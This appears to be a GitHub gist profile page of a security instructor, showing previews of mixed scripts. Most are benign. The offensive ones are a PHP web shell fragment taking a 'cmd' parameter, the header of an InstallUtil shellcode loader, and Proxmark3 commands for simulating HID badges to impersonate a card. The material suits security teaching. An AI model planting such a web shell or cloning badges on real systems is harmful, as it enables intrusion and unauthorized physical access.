Skip to content

Instantly share code, notes, and snippets.

View joswr1ght's full-sized avatar

Joshua Wright joswr1ght

View GitHub Profile
@joswr1ght
joswr1ght / summarizelinks.js
Created April 22, 2023 18:22
summarizelinks.js - JavaScript to get a summary of links from an open webpage using the browser inspector console
@joswr1ght
joswr1ght / InstallUtil-ShellCode.cs
Created April 15, 2024 13:04
InstallUtil-ShellCode.cs - Originally from subTee with Minor Comments Changes
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Minor cleanup and clarity changes by Joshua Wright <josh@wr1ght.net> @joswr1ght
*/
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
@joswr1ght
joswr1ght / extract-tlsscan-hostnames.py
Last active April 8, 2024 13:10
Extract TLS-Scan Hostnames from Certificate Records
#!/usr/bin/env python3
# Mark Baggett @MarkBaggett graciously wrote this script.
# Minor changes by Joshua Wright @joswr1ght.
# Use it to retrieve host name information from the JSON output of tls-scan
# (https://github.com/prbinu/tls-scan) in the subjectCN and subjectAltName
# fields.
import json
import re
import sys
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@joswr1ght
joswr1ght / getios10beta1kernelcache.sh
Created June 23, 2016 10:44
Get iOS 10 Beta 1 Kernelcache for reverse engineering (iPhone 6s hardware)
# Get decrypted kernelcache
# URL for iOS 10 Beta 1 for iPhone 6s taken from http://pastebin.com/FRMfanmT
wget -q http://apple.co/28R9rhS -O ios10beta1-iphone6s.zip
mkdir ios10beta1
unzip -q ios10beta1-iphone6s.zip -d ios10beta1
cd ios10beta1
wget -q http://nah6.com/%7Eitsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp
g++ -o lzssdec lzssdec.cpp
./lzssdec -o 439 < AssetData/boot/kernelcache.release.n71 >kernelcache.decrypted # 439 is offset byte count to 0xFFCFFAEDFE header
xxd kernelcache.decrypted | head -1

HID/ProxCard Cheat Sheet

Joshua Wright | josh@willhackforsushi.com | DRAFT/Work-in-Progress

Proxmark3 Iceman Edition Command Function
lf hid read Read from a nearby HID/ProxCard card
wiegand list Display a list of supported Wiegand data formats used by HID cards
lf hid sim -r 2006ec0c86 Simulate a HID/ProxCard with the Wiegand value 2006ec0c86; supply the appropriate Wiegand value for the card you wish to impersonate
lf hid sim -w H10301 --fc 118 --cn 16612 Simulate the card number 16612 with facility code 118 using the H10301 (26-bit HID) format (same as the command above but specifying the FC and CN explicitly)
@joswr1ght
joswr1ght / Copy-RemoteWindowsEventLogs.ps1
Last active March 17, 2024 01:42
PowerShell script to copy event logs from one or more remote systems to the local file system
# https://chat.openai.com/share/6d96527b-288d-45a9-8eb4-e8b43d52486a
# Input parameters
param (
[Parameter(Mandatory=$true)]
[string]$inputFile,
[Parameter(Mandatory=$true)]
[System.Management.Automation.PSCredential]$Credential
)
@joswr1ght
joswr1ght / stopresponderattacks.cmd
Created October 9, 2019 14:26
Disable WPAD and LLMNR on Windows
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad"
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad" /v "WpadOverride" /t REG_DWORD /d "1" /f
REG ADD "HKLM\Software\policies\Microsoft\Windows NT\DNSClient"
REG ADD "HKLM\Software\policies\Microsoft\Windows NT\DNSClient" /v "EnableMulticast" /t REG_DWORD /d "0" /f
@joswr1ght
joswr1ght / nltk-patch.py
Created March 13, 2024 17:25
Resolve NLTK utlopen error to work in offline mode
# NLTK makes the assumption that users are online when importing the library.
# This is partly to automate the download or corpus files and other aassets,
# but if those files already exist then offline mode is problematic. `import nltk`
# will still work, but it takes a while to timeout, producing errors:
#
# [nltk_data] Error loading averaged_perceptron_tagger: <urlopen error
# [nltk_data] [Errno -3] Temporary failure in name resolution>
# [nltk_data] Error loading punkt: <urlopen error [Errno -3] Temporary
# [nltk_data] failure in name resolution>
# [nltk_data] Error loading stopwords: <urlopen error [Errno -3]
@joswr1ght
joswr1ght / wifiscan.cmd
Created July 11, 2019 11:32
Wi-Fi Scanning at the Windows Command Prompt, FOR loop style
FOR /L %N IN () DO @netsh wlan show networks mode=bssid | findstr "^SSID Signal" && ping -n 16 127.0.0.1 >NUL && cls